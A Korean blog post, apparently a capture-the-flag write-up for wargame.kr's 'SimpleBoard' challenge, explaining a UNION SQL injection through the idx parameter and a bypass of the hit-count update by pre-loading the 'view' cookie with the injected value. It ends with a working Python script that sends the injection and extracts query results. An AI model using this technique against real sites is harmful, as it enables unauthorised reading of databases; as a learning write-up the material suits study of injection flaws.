Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

White Security

[wargame.kr] SimpleBoard 문제풀이 본문

Wargame Writeups/wargame.kr

[wargame.kr] SimpleBoard 문제풀이

POSIX 2019. 1. 23. 13:58

wargame.kr 사이트의 18번째 문제입니다.



"간단한 Union SQL Injection 문제입니다. 아마 스크립트를 써야 할거예요."



링크에 접속하면 4개의 게시글 목록을 확인 할 수 있으며

소스도 보여줍니다.

SQL Injection은 소스를 보게 되면 난이도가 급락하는 유형이지만

SQL 쿼리문에 익숙하지 않다면, 도움이 될 수도 있을 것입니다.



게시글을 확인하자 HIT(조회수) 카운트가 하나 늘었습니다.

내용 자체에는 기대할 만한 것이 없군요.



사실 이 문제는 이전 web chatting 문제와 같은 방법으로도 해결할 수 있습니다.

하지만 학습을 위한 풀이인만큼 문제의 의도를 최대한 따라가는 편이 좋겠죠?



소스를 확인해 보겠습니다.


훌륭하게도 객체 형태로 되어 있군요.

예쁜 짜임새에 기분이 좋아지지만


아무래도 한줄로 주욱 내려가면 되는 절차지향보다는 객체지향이 읽기 힘듭니다.

내공이 부족해서 그런 것이겠지만요.. ㅎㅎ


소스가 긴 만큼 중요한 부분만 살펴보겠습니다.



게시글을 읽을시에 호출되는 함수입니다.


[ select * from {$this->table} where idx=$idx ]

이 부분이 게시글의 내용을 가져오는 쿼리입니다.


별다른 시큐어 코딩이 적용되지 않았기에

idx에 쿼리를 마음대로 끼워넣을 수 있을 것처럼만 보이네요.



하지만 게시글을 조회하게 되면 먼저 조회수를 올리기 위해서


1. 먼저 just_query 함수가 실행됩니다.

2. 그리고 해당 게시글을 조회했다는 것을 Cookie에 '/(idx)' 형태로 저장합니다. 


우리가 만약 idx에 union 쿼리를 끼워 넣으면 바로 여기서 오류가 나오지요.

앞서 보았던 게시글 내용을 가져오는 쿼리와는 다르게

update 쿼리에 union 이나 order by 등의 구문을 집어넣었다간

오류가 발생합니다.



하지만 역시 방법은 있습니다.

inc_hit 함수에서 오류가 발생한다면, 호출되지 않도록 하면 되겠지요.

만약 read_chk($idx) 의 값이 true 라면

(이미 확인한 게시글이라면)

조회수를 올리지도 않고 그 과정에서 오류가 발생하지도 않을 것입니다.



read_chk 함수가 true를 리턴하도록 하는 조건을 보면...

view 쿠키 내에 '/idx'가 포함되어 있을시에 true를 반환하도록 되어 있습니다.



따라서 쿼리를 포함한 idx의 값을 쿠키에 미리 넣어주는 것으로

오류 발생을 우회할 수 있습니다.



같은 방식으로 union 쿼리까지 잘 작동하네요.




import urllib.request
from bs4 import BeautifulSoup
import sys

def select_query(query):
	url = 'http://wargame.kr:8080/SimpleBoard/read.php?idx=' + urllib.parse.quote('0 union select 1,2,3,' + query)
	
	req = urllib.request.Request(url)
	req.add_header('Cookie', 'view=/0 union select 1,2,3,' + query)
	response = urllib.request.urlopen(req)\
	output = response.read()
	
	return str(output)

def get_content(name):
	content = select_query('(' + name + ')')
		
	soup = BeautifulSoup(content, 'html.parser')

	content = soup.find('tbody').find('td').text
	content_len = len(content);

	if content_len == 0:
		sys.stdout.write('Invalid request\n')
		return ''

	print('[' + str(content_len) + '] ' + content)
	
	return content



if len(sys.argv) < 2:
	sys.stdout.write('Using: ' + sys.argv[0] + ' <cmd>\n')
	exit()

content = get_content((' '.join(sys.argv[1:])))
	


발견한 취약점을 기반으로 파이썬 스크립트를 작성했습니다.



Comments